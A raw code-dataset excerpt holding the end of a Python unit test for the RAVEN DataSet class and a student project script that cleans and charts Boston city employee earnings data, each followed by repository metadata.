'a': np.array([  2.1]),\n               'b': np.array([  6.1]),\n               'x': np.array([ 20.1]),\n               'y': np.array([200.1]),\n          'varsUpdate': np.array([1])}\ndata.addRealization(rlz1_1)\ntid = data._collector[-1,data._orderedVars.index('trajID')]\ncheckRlz('Cluster extend traj 2[1]',data.realization(matchDict={'trajID':2,'varsUpdate':1})[1],rlz1_1,skip='varsUpdate')\n# print it\nfname = 'DataUnitTestClusterLabels'\ndata.write(fname,style='csv',clusterLabel='trajID')\n# manually check contents\nfor l,line in enumerate(open(fname+'.csv','r')):\n  if l == 0:\n    checkSame('Cluster CSV main [0]',line.strip(),'trajID,filename')\n  elif l == 1:\n    checkSame('Cluster CSV main [1]',line.strip(),'1,{}_1.csv'.format(fname))\n  elif l == 2:\n    checkSame('Cluster CSV main [2]',line.strip(),'2,{}_2.csv'.format(fname))\nfor l,line in enumerate(open(fname+'_1.csv','r')):\n  if l == 0:\n    checkSame('Cluster CSV id1 [0]',line.strip(),'RAVEN_sample_ID,a,b,x,y,varsUpdate')\n  elif l == 1:\n    line = list(float(x) for x in line.split(','))\n    checkArray('Cluster CSV id1 [1]',line,[0,1.0,5.0,10.0,100.0,0],float)\n  elif l == 2:\n    line = list(float(x) for x in line.split(','))\n    checkArray('Cluster CSV id1 [1]',line,[2,1.1,5.1,10.1,100.1,1],float)\nfor l,line in enumerate(open(fname+'_2.csv','r')):\n  if l == 0:\n    checkSame('Cluster CSV id1 [0]',line.strip(),'RAVEN_sample_ID,a,b,x,y,varsUpdate')\n  elif l == 1:\n    line = list(float(x) for x in line.split(','))\n    checkArray('Cluster CSV id2 [1]',line,[1,2.0,6.0,20.0,200.0,0],float)\n  elif l == 2:\n    line = list(float(x) for x in line.split(','))\n    checkArray('Cluster CSV id2 [1]',line,[3,2.1,6.1,20.1,200.1,1],float)\n# load it as a history # TODO first, loading needs to be fixed to use DataObject params instead of XML params\nxml = createElement('HistorySet',attrib={'name':'test'})\nxml.append(createElement('Input',text='trajID'))\nxml.append(createElement('Output',text='a,b,x,y'))\noptions = createElement('options')\noptions.append(createElement('pivotParameter',text='varsUpdate'))\nxml.append(options)\ndata2 = DataObjects.HistorySet()\ndata2.messageHandler = mh\ndata2._readMoreXML(xml)\ndata2.load(fname,style='csv')\n# check data is correct by realization\ncorrect = {'a':np.array([  1.0,  1.1]),\n           'b':np.array([  5.0,  5.1]),\n           'x':np.array([ 10.0, 10.1]),\n           'y':np.array([100.0,100.1]),\n           'trajID':np.array([1])}\ncheckRlz('Cluster read [0]',data2.realization(index=0),correct)\ncorrect = {'a':np.array([  2.0,  2.1]),\n           'b':np.array([  6.0,  6.1]),\n           'x':np.array([ 20.0, 20.1]),\n           'y':np.array([200.0,200.1]),\n           'trajID':np.array([2])}\ncheckRlz('Cluster read [1]',data2.realization(index=1),correct)\n\n######################################\n#             DATA TYPING            #\n######################################\n## check that types are set correctly, both for histories and scalars\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input', text=' fl, in, st, un, bo'))\nxml.append(createElement('Output',text='dfl,din,dst,dun,dbo'))\nxml.append(createElement('Index',attrib={'var':'t'},text='dfl,din,dst,dun,dbo'))\ndata = DataObjects.DataSet()\ndata.messageHandler = mh\ndata._readMoreXML(xml)\n\nrlz = {'fl' :np.array([   1.0]),\n       'in' :np.array([     2]),\n       'st' :np.array([ 'msg']),\n       'un' :np.array([u'utf']),\n       'bo' :np.array([  True]),\n       'dfl':np.array([ 1.0,   2.0,  3.0]),\n       'din':np.array([   4,     5,    6]),\n       'dst':np.array([ 'a',   'b',  'c']),\n       'dun':np.array([ u'x', u'y', u'z']),\n       'dbo':np.array([ True,False, True]),\n         't':np.array(['one','two','three'])}\nrlz2= {'fl' :np.array([   10.0]),\n       'in' :np.array([     20]),\n       'st' :np.array([ 'msg2']),\n       'un' :np.array([u'utf2']),\n       'bo' :np.array([  False]),\n       'dfl':np.array([ 10.0,   20.0,  30.0]),\n       'din':np.array([   40,     50,    60]),\n       'dst':np.array([ 'a2',   'b2',  'c2']),\n       'dun':np.array([ u'x2', u'y2', u'z2']),\n       'dbo':np.array([ False,  True, False]),\n         't':np.array(['one','two','manystringchars'])}\ndata.addRealization(rlz)\ndata.asDataset()\n# check types\nfor var in rlz.keys():\n  correct = rlz[var].dtype\n  if correct.type in [np.unicode_,np.string_,str]:\n    correct = object\n  checkSame('dtype checking \"{}\"'.format(var),data.asDataset()[var].dtype,correct)\n\ndata.addRealization(rlz2)\n\n######################################\n#          DATA RENAMING             #\n######################################\n# use the renaming, needed for alias operations\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input', text='a,b'))\nxml.append(createElement('Output',text='c,d'))\nxml.append(createElement('Index',attrib={'var':'t'},text='b,d'))\ndata = DataObjects.DataSet()\ndata.messageHandler = mh\ndata._readMoreXML(xml)\ndata.addExpectedMeta(['prefix'])\nrlz0 = {'a':np.array([0.0]),\n        'b':np.array([0.0, 0.1, 0.2]),\n        'c':np.array([0.5]),\n        'd':np.array([0.5, 0.6, 0.7]),\n        'prefix':np.array(['0']),\n        't':np.array([0.01, 0.02, 0.03])}\ndata.addRealization(rlz0)\n# make a copy, to test renaming with just collector\ndata2 = copy.deepcopy(data)\ndata2.renameVariable('a','alpha')\ndata2.renameVariable('b','beta')\ndata2.renameVariable('c','gamma')\ndata2.renameVariable('d','delta')\ndata2.renameVariable('prefix','jobID')\ndata2.renameVariable('t','timelike')\n# check everything was changed\ncorrect0 = {'alpha':np.array([0.0]),\n            'beta':np.array([0.0, 0.1, 0.2]),\n            'gamma':np.array([0.5]),\n            'delta':np.array([0.5, 0.6, 0.7]),\n            'jobID':np.array(['0']),\n            'timelike':np.array([0.01, 0.02, 0.03])}\ncheckRlz('Rename in collector: variables',data2.realization(index=0),correct0,skip='timelike')\ncheckArray('Rename in collector: index',data2.indexes,['timelike'],str)\n\n# now asDataset(), then rename\ndata3 = copy.deepcopy(data)\ndata3.asDataset()\ndata3.renameVariable('a','alpha')\ndata3.renameVariable('b','beta')\ndata3.renameVariable('c','gamma')\ndata3.renameVariable('d','delta')\ndata3.renameVariable('prefix','jobID')\ndata3.renameVariable('t','timelike')\ncheckRlz('Rename in dataset: variables',data3.realization(index=0),correct0,skip='timelike')\ncheckArray('Rename in dataset: index',data3.indexes,['timelike'],str)\n\n# now asDatset, then append, then rename\ndata.asDataset()\nrlz1 = {'a':np.array([1.0]),\n        'b':np.array([1.0, 1.1, 1.2]),\n        'c':np.array([1.5]),\n        'd':np.array([1.5, 1.6, 1.7]),\n        'prefix':np.array(['1']),\n        't':np.array([0.01, 0.02, 0.03])}\ndata.addRealization(rlz1)\ndata.renameVariable('a','alpha')\ndata.renameVariable('b','beta')\ndata.renameVariable('c','gamma')\ndata.renameVariable('d','delta')\ndata.renameVariable('prefix','jobID')\ndata.renameVariable('t','timelike')\ncorrect1 = {'alpha':np.array([1.0]),\n            'beta':np.array([1.0, 1.1, 1.2]),\n            'gamma':np.array([1.5]),\n            'delta':np.array([1.5, 1.6, 1.7]),\n            'jobID':np.array(['1']),\n            'timelike':np.array([0.01, 0.02, 0.03])}\ncheckRlz('Rename in both: variables[0]',data.realization(index=0),correct0,skip='timelike')\ncheckRlz('Rename in both: variables[1]',data.realization(index=1),correct1,skip='timelike')\ncheckArray('Rename in both: index',data.indexes,['timelike'],str)\n# make sure adding a new realization without the renaming fails\ncheckFails('Add old-named data after renaming variables','Provided realization does not have all requisite values for object \\\"DataSet\\\": \\\"alpha\\\"',data.addRealization,args=[rlz1])\n\n\n\nprint(results)\n\nsys.exit(results[\"fail\"])\n\"\"\"\n  <TestInfo>\n    <name>framework.test_datasets</name>\n    <author>talbpaul</author>\n    <created>2017-10-20</created>\n    <classesTested>DataSet</classesTested>\n    <description>\n       This test is a Unit Test for the DataSet classes.\n    </description>\n  </TestInfo>\n\"\"\"\n", "meta": {"hexsha": "655bce7be6285e71a222abfe29f5e8b7c188df26", "size": 44084, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/framework/unit_tests/DataObjects/TestDataSet.py", "max_stars_repo_name": "sonatsen/raven", "max_stars_repo_head_hexsha": "30764491e7ecaa16de2a4e0ddab3bc9e169e5f95", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-10-11T15:59:10.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-08T18:23:57.000Z", "max_issues_repo_path": "tests/framework/unit_tests/DataObjects/TestDataSet.py", "max_issues_repo_name": "sonatsen/raven", "max_issues_repo_head_hexsha": "30764491e7ecaa16de2a4e0ddab3bc9e169e5f95", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-03-27T13:06:00.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-27T13:06:00.000Z", "max_forks_repo_path": "tests/framework/unit_tests/DataObjects/TestDataSet.py", "max_forks_repo_name": "sonatsen/raven", "max_forks_repo_head_hexsha": "30764491e7ecaa16de2a4e0ddab3bc9e169e5f95", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2017-08-29T16:09:13.000Z", "max_forks_repo_forks_event_max_datetime": "2017-08-29T16:09:13.000Z", "avg_line_length": 41.7462121212, "max_line_length": 206, "alphanum_fraction": 0.6233554124, "include": true, "reason": "import numpy", "num_tokens": 13067, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.051216717620880946}}
{"text": "\"\"\" Final Project \u2013 Draft Report\nALY 6110 Data Management and Big Data, Fall 2021\nModule 5 Group Assignment 5\n\nAnkit Yadav, Neil Mascarenhas, Sai Anila Sushma Malladhi\n\nCollege of Professional Studies, Northeastern University\nProf: Daya Rudhramoorthi \nOct 20th, 2021\n\n\"\"\"\n\n#%%\n# import modules\nfrom IPython.core.display import display_png\nfrom IPython.display import display\nimport numpy as np\nimport pandas as pd\nimport re, os, glob\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams, cycler\nimport seaborn as sns\nfrom scipy import interpolate\n\n\n# scikit-learn machine learning\n# from sklearn.preprocessing import Normalizer, StandardScaler, normalize, scale\nfrom sklearn import metrics\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\n# statsmodels\nfrom statsmodels.formula.api import ols\nfrom statsmodels.stats.anova import anova_lm\nfrom statsmodels.stats.multicomp import pairwise_tukeyhsd\n\n\n# map functions (https://scitools.org.uk/cartopy/docs/v0.15/)\nimport cartopy.feature as cfeature\nimport cartopy.crs as ccrs\nfrom cartopy.io.img_tiles import OSM\nosm_tiles = OSM()\n\n# ordinary least squares\nfrom statsmodels.formula.api import ols\n\nplt.style.use('seaborn-colorblind')\n\n# THis is a special Jupyter Notebook command to prepare the notebook for matplotlib and other libraries\n#%matplotlib inline \n\n# Setting up Pandas paramenters so that we see all the results \npd.set_option('display.width', 500)\npd.set_option('display.max_columns', 100)\npd.set_option('display.notebook_repr_html', True)\n\n# Setup for Seaborn\nsns.set_style(\"darkgrid\")\n#sns.set_context(\"notebook\")\n\n\n## Read the data, and doing basic fixes.\n\n#%%\n# read file(s)\npath = os.getcwd()                    \nall_files = glob.glob(os.path.join(path+'\\\\Data\\\\', \"allemployees_*.csv\"))  \n\n\n#%%\n\n# look at the first ten thousand bytes to guess the character encoding\nimport chardet\nwith open(\"Data/allemployees_2020.csv\", 'rb') as rawdata:\n    result = chardet.detect(rawdata.read(10000))\n\n# check what the character encoding might be\ndisplay(result)\n\n#%%\ncol_names = ['name', 'department', 'title', 'regular', 'retro', 'other', 'overtime', 'injured',\\\n                'detail', 'quinn', 'total', 'zip']\n\n#enocode encoding = \"ISO-8859-5\",\n\ndf_from_each_file = (pd.read_csv(f, delimiter=',', encoding='utf-8', \\\n                                 header=0, names=col_names, \\\n                                 index_col=None).assign(year=f) for f in all_files)  # read year from filename \nEmpEarn   = pd.concat(df_from_each_file, ignore_index=True)\ndisplay(EmpEarn.info())\n\n\n#%%\n## Glimpese of the data.\ndisplay(EmpEarn.head(5))\ndisplay(EmpEarn.isna().sum())\n\n\n#%%\n## The basic cleaning steps we will be performing are:\n\n\n#%%\n# 1. We will extract year from path (filename of earnings report) and assign to new column \"year\"\n\n## Before\ndisplay(EmpEarn.year.head(5))\n\n# extract year from filename\nEmpEarn['year'] = EmpEarn['year'].replace({'\\D':''}, regex=True) \nEmpEarn['year'] = EmpEarn['year'].str[-4:]  # remove any numbers from file path\n\n## After\ndisplay(EmpEarn.year.head(5))\n\n\n#%%\n# 2. Columns \"department\" and \"title\" are in reverse order for 2013 and 2014\n\n#EmpEarn.where(EmpEarn['year']=='2021').isin([\"department\",\"title\"])\n\n# Before\nprint(\"Read Carefully\")\ndisplay(EmpEarn.loc[EmpEarn['year'].isin(['2013'])].filter(items=[\"department\",\"title\"]).head(5))\ndisplay(EmpEarn.loc[EmpEarn['year'].isin(['2014'])].filter(items=[\"department\",\"title\"]).head(5))\n\n\n# switch \"department\" and \"title\" columns for 2013 and 2014\nEmpEarn.loc[EmpEarn.year.isin(['2013', '2014']),['department','title']] = EmpEarn.loc[EmpEarn.year.isin(['2013', '2014']),['title','department']].values\n\n## After\n\n#EmpEarn.where(EmpEarn['year']=='2021').isin([\"department\",\"title\"])\nprint(\"Read Carefully\")\ndisplay(EmpEarn.loc[EmpEarn['year'].isin(['2013'])].filter(items=[\"department\",\"title\"]).head(5))\ndisplay(EmpEarn.loc[EmpEarn['year'].isin(['2014'])].filter(items=[\"department\",\"title\"]).head(5))\n\n#%%\n# 3. Make all Zip code, upto 5 digits Trim set of 5+ digit zipcodes\n\n## Before\ndisplay(EmpEarn['zip'].sample(n = 5, random_state=1234))\n\n# ignore \"+4\" zip codes\nEmpEarn['zip'] = EmpEarn['zip'].str[:5]\n\n##\ndisplay(EmpEarn['zip'].sample(n = 5, random_state=1234))\n\n\n#%%\n# 4. Zipcodes are 5 digits for some years, 4 for other years and only 4 digits in 2017-20 where the leading \"0\" has been dropped, Adding the leading zero.\n\n## Before\nEmpEarn['zip'] = np.where(EmpEarn['zip'].str.len() == 4, '0' + EmpEarn['zip'], EmpEarn['zip'])\n\ndisplay(EmpEarn['zip'].sample(n = 5, random_state=1234))\n\n#%%\n# 5. Missing zipcodes can be filled by comparing to previous year's employee entry\n\n## Before\ndisplay(EmpEarn.zip.isna().sum())\n\n# Asding missing zip codes from the previous year data.\n\nEmpEarn.loc[EmpEarn['zip'].str.len() < 4, 'zip'] = np.NaN\nEmpEarn['zip'] = EmpEarn.sort_values(by='name')['zip'].fillna(method='ffill')\n\n## After\ndisplay(EmpEarn.zip.isna().sum())\n\n#%%\n# 6. Convert all numbers to numeric dtype\n\nEmpEarn.dtypes\n\n# converting number strings to numeric dtype\nnum_cols = ['regular', 'retro', 'other', 'overtime', 'injured', 'detail', 'quinn', 'total']\nEmpEarn[num_cols] = EmpEarn[num_cols].replace({'\\$': '', ',': ''}, regex=True)\\\n                                .apply(pd.to_numeric, errors='coerce').fillna(0, axis=1)\n\n\n## After\nEmpEarn.dtypes\n#%%\n# 7. Replacing , with a <space> in the names\n\n## Before\ndisplay(\"Before\",EmpEarn.name.head(3))\n\nEmpEarn.name=EmpEarn.name.apply(lambda x: x.replace(',',' '))\nEmpEarn.department=EmpEarn.department.apply(lambda x: x.replace(',',' '))\nEmpEarn.title=EmpEarn.title.apply(lambda x: x.replace(',',' '))\n\n## After \ndisplay(\"After\",EmpEarn.name.head(3))\n\n\n#%%\n# 8. Consolidating Depaerment names\n\n# unique job titles and departments by year\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10,6))\nax1.bar(EmpEarn['year'].unique(), EmpEarn.groupby('year')['title'].nunique())\nax1.set_title('unique job titles')\nax1.set_ylabel('count')\nax1.set_xlabel('year')\n\nax2.bar(EmpEarn['year'].unique(), EmpEarn.groupby('year')['department'].nunique())\nax2.set_title('unique department names')\nax2.set_ylabel('count')\nax2.set_xlabel('year')\n\nplt.tight_layout()\nplt.show()\n\n#%%\n\n# combine all school departments into a single \"Boston Public Schools\" department\n\nEmpEarn['dept_clean'] = EmpEarn['department'] # all others to stay the same\nEmpEarn['dept_clean'] = np.where(EmpEarn.department.astype(str).str[:3] == \\\n                                  'BPS', 'Boston Public Schools', EmpEarn.dept_clean)\nEmpEarn['dept_clean'] = np.where(EmpEarn.department.astype(str).str[:10] == \\\n                                  'Asst Super', 'Boston Public Schools', EmpEarn.dept_clean)\n\nbps = ['K-8', 'EEC', 'ELC', 'Middle', 'School', 'Academy', 'Elementary', 'Greenwood', \n       'E Leadership Acad', 'UP Academy Dorchester', 'UP \"Unlocking Potential\" Acad', \n       'Lyon Pilot High 9-12', 'Ellison/Parks EES', 'Chief Academic Officer', \n       'UP Academy Holland', 'Achievement Gap', 'English Language Learn', 'Haley Pilot',\n       'Greater Egleston High', 'Early Learning Services', 'Career & Technical Ed', \n       'Teaching & Learning', 'Unified Student Svc', 'Superintendent',\n       'Student Support Svc', 'Harbor High', 'Fam & Student Engagemt', \n       'Enrollment Services', 'Food & Nutrition Svc', 'HPEC: Com Acd Science & Health',\n       'Institutional Advancemt', 'Legal Advisor', 'Professional Developmnt', \n       'Chief Operating Officer', 'Research Assess & Eval', 'Info & Instr Technology',\n       'BTU Pilot', 'Boston Collaborative High Sch', 'Diplomas Plus', 'Chief Financial Officer']\nfor school in bps:\n    EmpEarn['dept_clean'] = np.where(EmpEarn.department.astype(str).str[-len(school):] == \\\n                                      school, 'Boston Public Schools', EmpEarn.dept_clean)\n\n\n#%%\nprint(set(EmpEarn.dept_clean.loc[EmpEarn.year == '2020'].unique()) - \\\n      set(EmpEarn.dept_clean.loc[EmpEarn.year == '2019'].unique()))\n\n#%%\n\n\"\"\"\nRename various departments to 2020 name:\n\n\"\"\" \n\ndept_names = {'Transportation Department': 'Traffic Division',\n              'Dept of Voter Mobilization': 'Election Division',\n              'State Boston Retirement Syst': 'Boston Retirement System',\n              'Youth Fund': 'Youth Engagement & Employment',\n              'Administration and Finance': 'Office of Admin & Finance',\n              'Office of Finance & Budget': 'Office of Admin & Finance',\n              'Office Of Civil Rights': 'Fair Housing & Equity',\n              'Small & Local Business': 'Office of Economic Development',\n              'Ofc Chf Public Works Transport': 'Office of Streets',\n              'Ofc of Strts, Trnsp & Sani': 'Office of Streets',\n              'Property Management': 'Public Facilities Department',\n              'Mayor\\'s Office-Public Info': 'Mayor\\'s Office',\n              'Arts & Cultural Development': 'Office of Arts & Culture',\n              'Accountability': 'Licensing Board',\n              'Women\\'s Commission': 'Women\\'s Advancement'}\nfor d in dept_names:\n    EmpEarn['dept_clean'] = np.where(EmpEarn['department'].str[-len(d):] == \\\n                                 d, dept_names[d], EmpEarn.dept_clean)\n\n\n#%%\n\n# pivot to obtain number of employees in each department by year\ndepartments = pd.pivot_table(EmpEarn, values='name', index='dept_clean',  columns='year', aggfunc='count')\\\n                    .sort_values('2020', ascending=False).fillna(0)\n\n# spread over 3 sub plots for better visibility\nfig, (ax1, ax2, ax3) = plt.subplots(nrows=3, figsize=(8, 8), sharex=True)\nax1.set_title('Department Size by Year')\ndepartments.iloc[:8].T.plot(ax=ax1, cmap='tab10') # large departments with log scale\nax1.set_yscale('log')\ndepartments.iloc[8:16].T.plot(ax=ax2, cmap='tab20') # medium departments\ndepartments.iloc[16:24].T.plot(ax=ax3, cmap='tab20b') # small departments\nax2.set_ylabel('Number of Employees')\nax1.legend(bbox_to_anchor=(1.01, 1.0))\nax2.legend(bbox_to_anchor=(1.01, 1.0))\nax3.legend(bbox_to_anchor=(1.01, 1.0))\nax3.set_xticklabels(['none', '2011', '2012', '2013', '2014', '2015', '2016'])\n\nplt.tight_layout()\nplt.show()\n\n\n\n#%%\n## Consolidate Job Titles\n\n# police titles:\npolice_titles = EmpEarn.loc[(EmpEarn.department == 'Boston Police Department')\\\n                            & (EmpEarn.title.str.startswith('Police O'))\\\n                            & (EmpEarn.year == '2020')]\\\n                            ['title'].value_counts()\nprint(police_titles)\n\n\n#%%\n\n\n# consolidate police department titles\n\nEmpEarn['title_clean'] = EmpEarn['title'] # all others to stay the same\npol = {'Police Of': 'Police Officer', \n#         'Police De': 'Police Officer',\n        'Police Se': 'Police Sergeant',\n        'PoliceSer': 'Police Sergeant',\n        'Police Ca': 'Police Captain',\n        'Police Li': 'Police Lieutenant'}\nfor p in pol:\n    EmpEarn['title_clean'] = np.where(EmpEarn.title.str[:9] == p, pol[p], EmpEarn.title_clean)\n\n#%%\n\n# Display before and after stats\n\n# most common police department titles before adjustment:\nbefore = EmpEarn['title'][(EmpEarn.department == 'Boston Police Department') \\\n                                        & (EmpEarn.year == '2020')] \\\n                                        .value_counts() \\\n                                        .nlargest(10) \\\n                                        .reset_index() \n# after adjustment\nafter = EmpEarn['title_clean'][(EmpEarn.department == 'Boston Police Department') \\\n                                        & (EmpEarn.year == '2020')] \\\n                                        .value_counts() \\\n                                        .nlargest(10) \\\n                                        .reset_index() \n# combine and sort    \njoined = pd.merge(before, after, how='left') \\\n                        .fillna(0) \\\n                        .sort_values(by=['title'], ascending=False) \\\n                        .rename(index=str, columns={'index': 'title', 'title': 'Before', 'title_clean': 'After'})\n\n# data by year\ntitles_by_year = pd.pivot_table(EmpEarn[EmpEarn['dept_clean'] == 'Boston Police Department'],\\\n                            values=['title', 'title_clean'], columns='year', aggfunc=pd.Series.nunique) \\\n                        .sort_values(by='2020', ascending=False)[:10] \\\n                        .transpose() \\\n                        .reset_index()\n\n# plots\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8,4))\nfig.suptitle('Police titles before and after consolidation')\n\njoined.plot.barh('title', 'Before', ax=ax1, width=0.4, color='#2f79b4', position=1).invert_yaxis()\njoined.plot.barh('title', 'After', ax=ax1, width=0.4, color='#1adf5a', position=0).invert_yaxis()\nax1.set_title('Police titles consolidation')\nax1.set_xlabel('Count')\nax1.set_ylim(10, -0.8)\n\ntitles_by_year.plot('year', 'title', kind='barh', ax=ax2, width=0.4, color='#2f79b4', position=1, label='Before', legend=False)\ntitles_by_year.plot('year', 'title_clean', kind='barh', ax=ax2, width=0.4, color='#1adf5a', position=0, label='After', legend=False)\nax2.set_title('Police titles by year')\nax2.set_xlabel('year')\nax2.set_ylabel('count unique')\n\n#plt.tight_layout(rect=[0, 0.03, 1, 0.95])\nplt.show()\n\n\n#%%\n\n# consolidate fire department titles\n\nfd = {'FF': 'Fire Fighter', \n      'Fire Fi': 'Fire Fighter',\n      'FireFig': 'Fire Fighter',\n      'Fire Ca': 'Fire Captain',\n      'Fire L': 'Fire Lieutenant',\n      'FireLi': 'Fire Lieutenant',\n      'Distric': 'District Fire Chief',\n      'Dist Fi': 'District Fire Chief',\n      'DistFCh': 'District Fire Chief',\n      'Dep Fir': 'Dep Fire Chief',\n      'DepFire': 'Dep Fire Chief'}\n\nfor k in fd:\n    EmpEarn['title_clean'] = np.where(EmpEarn.title.astype(str).str[:len(k)] == k, fd[k], EmpEarn.title_clean)\n\nEmpEarn['title_clean'] = np.where((EmpEarn.title.str[:10] == 'Sr Admin A') \\\n                                   & (EmpEarn.dept_clean == 'Boston Fire Department'),\\\n                                   'Sr Admin (Fire)', EmpEarn.title_clean)\n\nfd_titles = EmpEarn.title_clean.loc[(EmpEarn.dept_clean == 'Boston Fire Department')]\nprint('Number of unique job titles in fire department:', len(set(fd_titles)))\nprint(fd_titles.value_counts().nlargest(10))\n\n\n#%%\n\n# Display before and after stats\n\n# most common police department titles before adjustment:\nbefore = EmpEarn['title'][(EmpEarn.department == 'Boston Fire Department') \\\n                                        & (EmpEarn.year == '2020')] \\\n                                        .value_counts() \\\n                                        .nlargest(10) \\\n                                        .reset_index() \n# after adjustment\nafter = EmpEarn['title_clean'][(EmpEarn.department == 'Boston Fire Department') \\\n                                        & (EmpEarn.year == '2020')] \\\n                                        .value_counts() \\\n                                        .nlargest(10) \\\n                                        .reset_index() \n# combine and sort    \njoined = pd.merge(before, after, how='left') \\\n                        .fillna(0) \\\n                        .sort_values(by=['title'], ascending=False) \\\n                        .rename(index=str, columns={'index': 'title', 'title': 'before', 'title_clean': 'after'})\n\n# data by year\ntitles_by_year = pd.pivot_table(EmpEarn[EmpEarn['dept_clean'] == 'Boston Fire Department'],\\\n                            values=['title', 'title_clean'], columns='year', aggfunc=pd.Series.nunique) \\\n                        .sort_values(by='2020', ascending=False)[:10] \\\n                        .transpose() \\\n                        .reset_index()\n\n# plots\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8,4))\nfig.suptitle('Fire department titles before and after consolidation')\n\njoined.plot.barh('title', 'before', ax=ax1, width=0.4, color='#1f78b4', position=1).invert_yaxis()\njoined.plot.barh('title', 'after', ax=ax1, width=0.4, color='#b2df8a', position=0).invert_yaxis()\nax1.set_title('Fire department titles consolidation')\nax1.set_xlabel('Count')\nax1.set_ylim(10, -0.8)\n\ntitles_by_year.plot('year', 'title', kind='barh', ax=ax2, width=0.4, color='#1f78b4', position=1, label='before', legend=False)\ntitles_by_year.plot('year', 'title_clean', kind='barh', ax=ax2, width=0.4, color='#b2df8a', position=0, label='after', legend=False)\nax2.set_title('Fire department titles by year')\nax2.set_xlabel('year')\nax2.set_ylabel('count unique')\n\nplt.tight_layout(rect=[0, 0.03, 1, 0.95])\nplt.show()\n\n\n\n#%%\n\nlibrary = {'Spec Library Asst': 'Spec Library Asst',\n       'Sr Library Asst': 'Sr Library Asst',\n       'Librarian': 'Librarian',\n       'Special Library': 'Spec Library Asst',\n       'Spec Collection L': 'Librarian',\n       'Collection Libr': 'Librarian'}\nfor k in library:\n    EmpEarn['title_clean'] = np.where(EmpEarn.title.str.contains(k), library[k], EmpEarn.title_clean)\n\nbpl_titles = EmpEarn.title_clean.loc[(EmpEarn.dept_clean == 'Boston Public Library')]\nprint('Number of unique job titles in Boston Public Library:', len(set(bpl_titles)))\nprint(bpl_titles.value_counts().nlargest(20))\n\n\n#%%\n\n# Display before and after stats\n\n# most common police department titles before adjustment:\nbefore = EmpEarn['title'][(EmpEarn.department == 'Boston Public Library') \\\n                                        & (EmpEarn.year == '2020')] \\\n                                        .value_counts() \\\n                                        .nlargest(10) \\\n                                        .reset_index() \n# after adjustment\nafter = EmpEarn['title_clean'][(EmpEarn.department == 'Boston Public Library') \\\n                                        & (EmpEarn.year == '2020')] \\\n                                        .value_counts() \\\n                                        .nlargest(10) \\\n                                        .reset_index() \n# combine and sort    \njoined = pd.merge(before, after, how='left') \\\n                        .fillna(0) \\\n                        .sort_values(by=['title'], ascending=False) \\\n                        .rename(index=str, columns={'index': 'title', 'title': 'before', 'title_clean': 'after'})\n\n# data by year\ntitles_by_year = pd.pivot_table(EmpEarn[EmpEarn['dept_clean'] == 'Boston Public Library'],\\\n                            values=['title', 'title_clean'], columns='year', aggfunc=pd.Series.nunique) \\\n                        .sort_values(by='2020', ascending=False)[:10] \\\n                        .transpose() \\\n                        .reset_index()\n\n# plots\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8,4))\nfig.suptitle('Library department titles before and after consolidation')\n\njoined.plot.barh('title', 'before', ax=ax1, width=0.4, color='#1f78b4', position=1).invert_yaxis()\njoined.plot.barh('title', 'after', ax=ax1, width=0.4, color='#b2df8a', position=0).invert_yaxis()\nax1.set_title('Library department titles consolidation')\nax1.set_xlabel('Count')\nax1.set_ylim(10, -0.8)\n\ntitles_by_year.plot('year', 'title', kind='barh', ax=ax2, width=0.4, color='#1f78b4', position=1, label='before', legend=False)\ntitles_by_year.plot('year', 'title_clean', kind='barh', ax=ax2, width=0.4, color='#b2df8a', position=0, label='after', legend=False)\nax2.set_title('Library department titles by year')\nax2.set_xlabel('Year')\nax2.set_ylabel('count unique')\n\nplt.tight_layout(rect=[0, 0.03, 1, 0.95])\nplt.show()\n\n#%%\n\n# unique job titles and departments by year\ntitle_gb = EmpEarn.groupby('year')[['title', 'title_clean']].nunique()\ndept_gb = EmpEarn.groupby('year')[['department', 'dept_clean']].nunique()\n\n# plots\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12,6))\ntitle_gb.plot.bar(ax=ax1, cmap='Dark2', rot=0)\nax1.set_title('Unique job titles')\nax1.set_ylabel('count')\nax1.set_xlabel('year')\nax1.legend(loc=4, frameon=True, framealpha=0.8)\n\ndept_gb.plot.bar(ax=ax2, cmap='Dark2', rot=0)\nax2.set_title('Unique department names')\nax2.set_ylabel('count')\nax2.set_xlabel('year')\n\n#plt.tight_layout()\nplt.show()\n\n#%%\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#%%\n## Exporting CSV\n##We are exporting the dataset to CSV so that we can import it to ProsgresSQL using PgAdmin 4\n\n#BosEmpEarn\n\nEmpEarn.to_csv(\"Data/EmpEarn.csv\", sep=\",\", header=False, index=False, na_rep='', index_label=None, encoding='utf-8')\n\n#%%\n\n\n\n# %%\n# unique job titles and departments by year\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(8,4))\nax1.bar(EmpEarn['year'].unique(), EmpEarn.groupby('year')['title'].nunique())\nax1.set_title('unique job titles')\nax1.set_ylabel('count')\nax1.set_xlabel('year')\n\nax2.bar(EmpEarn['year'].unique(), EmpEarn.groupby('year')['department'].nunique())\nax2.set_title('unique department names')\nax2.set_ylabel('count')\nax2.set_xlabel('year')\n\nplt.tight_layout()\nplt.show()\n# %%\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "669ee50c5fb949b79b855f80fca72201fcbb521f", "size": 20726, "ext": "py", 